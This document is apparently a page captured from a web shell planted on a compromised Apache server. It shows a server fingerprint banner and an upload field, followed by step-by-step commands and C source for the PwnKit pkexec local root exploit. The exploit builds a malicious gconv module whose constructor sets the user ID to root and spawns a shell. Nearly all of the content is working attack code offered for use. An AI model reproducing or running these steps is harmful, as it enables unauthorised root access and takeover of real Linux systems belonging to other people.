| Server IP : 182.53.201.61 / Your IP : 216.73.217.175 Web Server : Apache/2.2.15 (Fedora) System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686 User : apache ( 48) PHP Version : 5.3.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/ |
Upload File : |
1. mkdir -p pwnkit_exp/GCONV_PATH=.
cd pwnkit_exp
2. touch GCONV_PATH=./lol
3. echo 'module UTF-8// INTERNAL ../pwnkit 2' > GCONV_PATH=./gconv-modules
4. pwnkit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/sh");
}
5. gcc -m32 -Wall -fPIC -shared pwnkit.c -o pwnkit.so
6. env -i SHELL=/bin/sh XDG_SESSION_ID=1 GCONV_PATH=./ CHARSET=UTF-8 PATH=GCONV_PATH=./ /usr/bin/pkexec